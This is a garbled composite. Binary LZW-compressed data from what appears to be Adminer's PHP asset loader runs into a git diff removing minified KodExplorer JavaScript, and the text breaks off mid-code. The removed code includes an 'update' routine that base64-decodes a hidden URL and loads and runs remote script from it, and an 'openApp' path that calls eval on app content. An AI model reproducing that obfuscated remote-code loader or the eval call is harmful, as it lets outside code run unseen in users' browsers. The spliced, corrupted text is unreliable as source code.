lڴIH3xw0t6%MR%jhB<\0AQ-ʈQH\nvL+væ<\rv\\*Ӵݢgn˩TЩ2P\rߋ\"+z8:#2J[i;zr3#ى:n\r㽃epdݍ 2c4k\rGE6_މb/HB%0>hoWnxl֍浃CQ^\r4lK{Z:Ã.pĂJB-+B(T%J0lT`+-@BۄV\0C,0tF?Ġ\na@Ɍ>ZECO-^Q&)I)R]\r97_\rF80Ob >\nR_8٫ov0bCAF!tă%0/zAYO(4 '] I8hH053@x&n|T)`.s6eYDzJѓ.{GEbӋ2{\$**@C-:zYHZI5F]YCOA`x'.*9t'{(wP=**xwr*cc|DV\rV.0Vd?Ҁ,E͝`T6ۈ-ڎT[ѐz.Ar̀Pnc=a9Fn!uA0iPJ6eT]V[\rXavk\n+Eܕ*\0~@g\"NCI\$Ɍx@Wy*vuD\0v댆V\0V`GuE֕flh@)0@T7§RAٷ3ۘ/Q],s{VRFA<vץ%@9F5t%+/8;WJo:N` h{ܣ Ԑ8Eu&W|ɆU&\r\"|-udžN:ncfV#U20>\">`k]-xS͇ТcB}&`r+E\$yNb,Wx -9r,`+ˊC)7x\rWfMSR\\zQ̓uA24L&Hi µS\$)eg rȌ\$]ZiYskWn>7E1k8drkEwwcmTya\$tx\rB=*<lfKN/ lkH8.?f6ч{gi/\"@K@2a|#,Z wd6w^&tP].Tkro\ro=%h`:\0᱂|ꊣaԮ6*:*rO-^nM}Aya\nu^rnO\r`T~</wy}:|̡6v\rcٸߣC/6ഷ#p@p`Zch\0\0o4OOi\0-\n/\0D. .Đ\0fiȫ\0ID\0\r0foGeJ|\rl 3~iP&/\09 ^\0r0] o.\" MvPZmpPڜޏ{C?kϼ}dʏ~=.- m1>hЕ1;QIOP\rcpApVk\rQ*Q}q>u15BqQ[1flap\0*JQ=G_bGHF.0 = 2PP!#(3 \n!1&72f`/\0\"PU\$\r0,QrU&2f_X]9\"S''y8\rkW)O)*Ra%\\i%&ҳ+r3S`,v&2L&Pu*-0\"%HĬԞ@ؓHBP(\$p&,1M ح;\rn. I.',1)42u+3 `SpL\nt_*S3;6r'h3555䜋d2q+68O7sC\"pm8ҭ69m\n@e0<8B8<,(8\0 0J<@IR6pԭmG\"116.\"5̂:8bA1;';?<*\$,̍o= T/3#҆");}elseif($_GET["file"]=="functions.js"){header("Content-Type: text/javascript; charset=utf-8");echo
lzw_decompress("f:gCI\n0Sa9S`&(n0QIf\$At^ sGtf6ey()LSP'R'fq]\"s> )`H2Eq9?*)t'ϧ\n \rs2WŅbDj:9[21cȝ:X@q#4L'J+DHe3.OK˰pVt2wp;Ɠ\r?OzDq.-\"ZcX3!/>PFsɲ0(ʣT63sVQoSΑb߅^r\$@C r2) V)+nܷzl{K#9{ۯlmQh*ɗP:c]7=Li;2<\\Jbnn_iӴJ\nC:`N4̖'Aw:4}ۣW\080L3J;i)\\=/Nu=ZV6&ceap.[vtPZX`֔+z'9.\$\$@\n\r]_ٮhkkMs>`̖j%\\9ж('jA>BCd\"K\$ CA.².`.E洖yy\0D28t 68FLB*,|\nx\\@@3r WKQb,%DBfȳD|͌E0/2>Y!Ć'`fmH<BB0\r*\0GxnY4,L%S,v0XQ1HId`!.VH/×H0U0`LI8k24JYN&8xJk:AK㝡nW!I;'\":24~J8ᒑG\"M=\rZ'ni9FrRt3\0Ҳ2yB^b'zɲ(#d9It&WjNaC( jĖ?hjքZ\$0үJ A_\n!TO4<{a?o -?Hl\"2y=먞Rф͊P&G4%()\r5MLT\0xBI=ltv2Jhv~/:p:8\"д50#*7\nq>G\$): \"#KfI!v+?{Qg{RQC}#iIbgX}`}3%@{_k}0ȗp!a<7eF?XD, CkUL>1܇p0#\$V)pYs5A:U(95,F+&*{-::7:ʙyPX+\nI;\\sP1rNJAT'-k?Y@fbRJimB~K\rKt4;OKc9%H5d3e8jP[s9,ĘbzKW&ed8)5ph\"0hL5\07 ڌڇ{ݿ<k\r+Xbl/؝XACs\nal}~ݴdrx(\r3nGrT+QJP\n'?Ĵn~:Q8`{a 4:L: uMߎMI,`BgN\rB\r\0o\"/2^D2)n\razR\$7`Lp*{`Oqtz%%Hg0Kf&)\\QW\0dp+j#\0ȺБ_ȍk3J(%O\0Tm4k:lʞmD\$\0'~ Z@VL\"Hjn5Nlfj&MOdbӰROdiiN(%-4+:HpR?BM0JF.1Mf~UT갊lˠ0U|Ђ@X4bg ]P?@z `Q`Y`M,J\nϜC.R\"r\"Py˰7\rܼs)%#U\rOEЀyxCt@п*H+@0\rIL/ \\\rNR\r\0@+\$/*w0S\nt\"\0r/P\03L%rR2R*+0\"-3N1D7(tb/@12M6d(c7*pl8(t0Kp2-Fb\$R(/+2,̲l8rK!6\"Sa0bx\$O\0\re \r\"8't\r+P@Y1YbR\\jK)438h17z`pRRCB<F 4DtJ-tVD6\0NLTv_0\"qJI*.qR|HΠt]>\0OL(#n.2Bn9Jm@Rs2|htNn6BcO+҆eBO=,C:6:M BGsG t:8d\0@jwLvj ow7v b pu-\n, u:)\"ut:WB<Sb12CײSd%)rpտ{cpqM!#P#@E}c\"@|d%kr\"*x w}״uWl&X~SB'u@6Chº..'+@Ӄ[T1b\"\n\0\n`I\0n+/\"lW1uƴZDC(1pwм ^\0ZJ`b#5ɄH;(!`#^»yߍVGr|_pGeQjd'2I-h^da)א:HH)5qXFQ_{8)~N~\"`\$1 B_N^h[N(+MwϙP'p65b?Ѵy&{*@}kȽ\\P,\"-rCrVYםZ\r[S}\0Y%kcϖ2vs\rKOT@s!2cw˒v,4&rxr؇~#\"X\r];SFF5s S>6U{p!\"y7MmeZD!*vwW 0w01|H\$&ԉ+{GRH!rԁ-24l\r\r\0t<ƅf:DSdeQ\r\\aEbGm gx-TGYKƢtp0?Frx 2\\V2;'\n+b1DG5l'(/[,N(nG8bXQ*-R\n4q#[UPRJ].짃};;S]@:I~ۑҝ|;Fyƃ}`/-#1@y7ys}\$Aa\\ '|#h6\r.=(v;`\"OCܐ!B9.B!UEDĂd)K\0mF~ B{O\0ρ_u#5 =Lj79 6lCVTp08 1x'0@gIwZ@9Lᎎ\\v\0_(\".ЯA[sń7I(azl_EЦ<tU7`t0(3=o\$[h!B[HR))nxaZ#=H8뛥 %@0w5J A\"F:8N\"X- ?pj@)iUj\$̚-EE\n/PBP@y8jYK9 0HDd&0hX \\\$(`d\nEΤ@Jb*NRP\"(q.f#dGDMn9:*fЎt4:pM(5%Q\0eSb41eM),R\"km?\0rB(\\ŕde<\\BMiL (hRDe\"rCR)9EJQҘ> O´`A#bh|HN\$%Z#4- 2=D\\0Ȇ\\\"aUR -Ik0\0قHH~u]QF1')-\0'xeѷp\$Qea#\"Rǰ@\\F0Ѹ#\"&<1HЃ\" B.#h/TmA[\rR(¼@%E8&\$ `EÐ,B](a{@6Ik3[h Ew\01)%檘 @ڪ\"6aJI8J+4qa0\nB2ɗa!{qg1!9:\0&D8|8\0:5P10:yFDHUk3USLKfimBFk@EPM-;1%82ls1!&5Ra4P%eO/EI@C=MHd8@9rIЀ*B, ^\rۀN猗4BZCXs! *@EN)Д4a\n )?`+&C01MSqDQB\"n)M!x\05j3w\0⣂0!\$\0`a72QZ>I4}xZu\0Wdd4J226\n ٠ŅOhF0Ț\0=%1\rAih@vM)\0`&a2KiKfhZU\nAM(iPW47|ZQ:5X>x#5s=0R>7i'ٞ\0ʙ)`hRd`ѵMIQ\\VV4TUR%9Fah47]M_`>P~_T!N\0.l%C(DZSqu\0in默2HqCM`AMqQ~5p+AZh3\n62URbq%B(\nTF>8GM LpiȢEQfM&.©OQ\"=Z{RlaOثk} -~+`ewWT ը2ߘ.1RH8Hdh@0\0[@r j\"OZ1r#tQ@7V5k+ʽVl\r-U\$\$Xڼ4F6{/ǁPZs|\rcӀff? _XՔ@0nl܄Yg:װSs~9Ft\0/\n0']y^#&\rHjR0:⇣D7J~52lD}JTeΜ%}+R#k3T\0rYuhތfleA1STP\"PhENVK`2Q\0eeK>IFܚ-7S=BjN5U[Xl'\0 2j\0;͑J\"\r4hEFXmR\0Q*/XK{hWڑlm'j8ڎ.FsUԩ\"i+bBUl1 RCG-3)3\0'Nv?PeZ/iO]6b|1TjHھ@m-k_TP薯\\\069nU{-5!Gξ5mS \$룱m3%`[B/eTmiNo!.\r06,l\0:&|\rֻ\"Mkw*rHVÜ5ۂj YpғX\rw{U߅qĒ\$uUl{\$5m(`/4/nIpj\\-_3\\)sזWmt\nJRDт%t\n*Rz2>\"a\081/s@ۆJ'lHuk Zh8s}ȚP)R*be%os2aQJհqk6g. R/({Ǥ~E;\$tlmIGR:i'ApyۭDM/:\0Xz f f.4^ 9 |\rz+GZD?5AA]1ϱ57bv`|1k.LUڐ/`We'kkܟI\0wvu]-%Ob3jb͙TA%&IPcB9͋{yBLtV?F:hUd[Ѡk8OSV kZ|*UG-k&IݔO9\0eQ>7pe[ux5 暳VZҀ,,\rfHle:eZ@]\rs@%\"\n!khʴeȴ?ji: >{ɚ˟! W.EBV \00029歚C\r4P+.=5\$Kbh(5\0IC U4'V(-!0 ȕ:enÛ:-F;/#T<MVH/O۹QŞ4h-D5U\0@\" Fav@y';.HnrzxP^[bED;SY P :1Niwfw1Y|FDiZD|{qR0\"(OD z`)`-|5Ql_c.k<50zҖкed\$\"JS\n\rHK_ӄt4sA\njV!o[lOPQwӆQ9!5\0Ymg(@uXO_a~( =:\0k4W\0]I+f FjC#n7?NN풴)&z݊ohBlMTU)5ptt\rV.]͋лnJvضt(nѻݜD2)m۞([r2ze=n*̍vw8x+<` 2GFTB=vh=};L/wv[c)nL*7`7ޑ_\n{B%Q\0ǃ@py\0Ȉn'^庾&6\0̃%EK;,Pel-:gKXTEPVP. PRlsOmth#Uvϲ=}a>\"ƽo|RtM-0ϵЁ-7d}y[x~0Sky{!s(@6p\$a:ʨZ5}\0]BguTT\"K@u<̞.ugGnڊ|axX5E@tçVw?\0ruY둹.?[f993 I\0ذ)OuɈz*b+\$S9~v}+tw\0\\");}elseif($_GET["file"]=="jush.js"){header("Content-Type: text/javascript; charset=utf-8");echo
diff --git a/static/js/app/src/app/main.js b/static/js/app/src/app/main.js
index 5a8b312..90ebe40 100755
--- a/static/js/app/src/app/main.js
+++ b/static/js/app/src/app/main.js
@@ -1,3 +1,3 @@
-/*! power by kodexplorer ver3.37(2017-01-09) [build 1483959466678] */
-define("app/src/app/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","../../common/core","./page"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),App=e("./page"),core.init(),App.init()}),define("app/common/core",[],function(require,exports){search_box_tpl=require("./tpl/search.html"),search_list_tpl=require("./tpl/search_list.html"),upload_tpl=require("./tpl/upload.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},a=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";a&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=700;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var a=$($(this).attr("title-data"));e=a.is("input")||a.is("textarea")?a.val():a.html()}return e=e?e:"",e.replace(/\n/g," ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,a){if(a=void 0==a?"":a,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var t={};t[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},t[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},t[G.KOD_GROUP_SHARE]={icon:"groupGuest"},t[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},t[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},t[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},t[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=t[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:a}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=a),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var a=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],t=!1;return $.inArray(a[0],i)>=0&&(t=!0),t},contextmenu:function(e){try{rightMenu.hidden()}catch(a){}var a=e||window.event;return a?a&&$(a.target).is("textarea")||$(a.target).is("input")||$(a.target).is("p")||$(a.target).is("pre")||0!=$(a.target).parents(".can_right_menu").length||0!=$(a.target).parents(".topbar").length||0!=$(a.target).parents(".edit_body").length||0!=$(a.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var a=rtrim(this.pathClear(e),"/"),i=a.lastIndexOf("/"),t=a.substr(i+1);if(0==t.search("fileProxy")){t=urlDecode(t.substr(t.search("&path=")));var n=t.split("/");t=n[n.length-1],""==t&&(t=n[n.length-2])}return t},pathClear:function(e){if(!e)return"";var a=e.replace(/\\/g,"/");return a=a.replace(/\/+/g,"/"),a=a.replace(/\.+\//g,"/")},pathFather:function(e){var a=rtrim(this.pathClear(e),"/"),i=a.lastIndexOf("/");return a.substr(0,i+1)},pathExt:function(e){var a=trim(e,"/");return-1!=a.lastIndexOf("/")&&(a=a.substr(a.lastIndexOf("/")+1)),-1!=a.lastIndexOf(".")?a.substr(a.lastIndexOf(".")+1).toLowerCase():a.toLowerCase()},path2url:function(e,a){if("http"==e.substr(0,4))return e;void 0==a&&(a=!0);var i,t=this.pathClear(e);this.pathExt(t);var n=function(e){if(!e)return"";var a=urlEncode(e);return a=a.replace(/%2F/g,"/")};return G.is_root&&a&&t.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(t.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&path="+urlEncode(t),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(t))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var a;a=G.json_data.filelist;for(var i=0;a.length>i;i++)if(a[i].path==e)return void 0==a[i].is_readable||1==a[i].is_readable?!0:!1;a=G.json_data.folderlist;for(var i=0;a.length>i;i++)if(a[i].path==e)return void 0==a[i].is_readable||1==a[i].is_readable?!0:!1;return!0},authCheck:function(e,a){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==a&&(a=LNG.no_permission),Tips.tips(a,!1),!1):!0},ajaxError:function(e){var a=e.responseText,i=''+a+"
",t=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==a.substr(0,17)?(setTimeout(function(){window.location.reload()},500),void 0):(t?t.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,a){var i="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(i="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(LNG.success),"function"==typeof a&&a(e.data.content)}})},fileInfo:function(e,a){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof a&&a(e)}})},fileLink:function(e,a){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof a&&a(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(a){a.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),a=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:a({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,a){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),t=" ";$.dialog({follow:a,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:t})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var a=ShareData.frameTop(),i=a.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,a,i,t){if(e){void 0==t&&(t="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:t,fixed:!0,title:i,ico:a,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(a){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,a){void 0==e&&(e=""),void 0==a&&(a=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var t=ShareData.frameTop(),n=t.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:a,width:"80%",height:"75%"}),o=20*t.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var a="index.php?/editor&project="+e;G.share_page!==void 0&&(a="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(a)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var a=G.static_path+"style/skin/"+e+".css";a!=$("#link_css_list").attr("href")&&$("body").append(' '),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),a="kod_diy_style",i=LocalData.getConfig(a);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(a,i)),G.user_config.theme_diy=i;var t="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);t=o(i)}$.setStyle(t,a)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),a=e.document.documentElement;a.requestFullscreen?a.requestFullscreen():a.mozRequestFullScreen?a.mozRequestFullScreen():a.webkitRequestFullScreen&&a.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,a,i){var t=UUID();(i===void 0||""==i)&&(i=t);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+' '+' '+' '+' '+' '+' '+' loading..
';return setTimeout(function(){var e=$("."+t);if(1!=e.length){var a=ShareData.frameTop();e=a.$("."+t)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(a){}},100)},50),o},userSpaceHtml:function(e){var a=e.split("/"),i=parseFloat(a[0]),t=1073741824*parseFloat(a[1]),n=core.fileSize(parseFloat(a[0])),o=core.fileSize(t),s=n+"/",r=100*i/t;return r>=100&&(r=100),0==t||isNaN(t)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s=""},fileSize:function(e,a){if(void 0==e||""==e)return"";if(void 0==a&&(a=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var t in i)if(e>=i[t])return(e/i[t]).toFixed(a)+t},uploadCheck:function(e,a){return a=void 0==a?!0:a,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(a&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(a&&Tips.tips(LNG.no_permission_write,!1),!1):core.isSystemPath(G.this_path)?(a&&Tips.tips(LNG.path_can_not_action,!1),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n \n \n \n {{\'folder\' |core.icon}} \n {{v.name | searchResultPrase}} \n \n
\n \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n \n \n \n {{v.ext |core.icon}} \n {{v.name | window.htmlEncode}} \n {{v.search_info.length}} \n \n
\n \n {{each v.search_info as value index}}\n \n {{value.line}}: \n {{#value.str | searchResultPrase}} \n \n {{/each}}\n \n \n {{else}}\n \n \n \n {{v.ext |core.icon}} \n {{v.name | searchResultPrase}} \n \n
\n \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'\n
\n
\n
\n
\n
{{LNG.upload_select}}
\n \n
select Folder
\n
\n \n \n \n \n
\n
\n \n
\n
\n
\n
\n
\n
\n
{{LNG.download_address}}
\n
\n {{LNG.download}} \n \n \n Dropdown \n \n \n
\n\n
\n
\n
\n
\n
\n'),define("app/common/core.search",[],function(){return function(e,a){var i,t,n=function(){var n=trim(core.pathClear(a),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(search_box_tpl);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),t=c(),t.path=a,""!=e&&(t.search=e),$("#search_path").val(t.path),$("#search_value").val(t.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(a),s())},o=function(){return t={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(t)},r=function(e){var 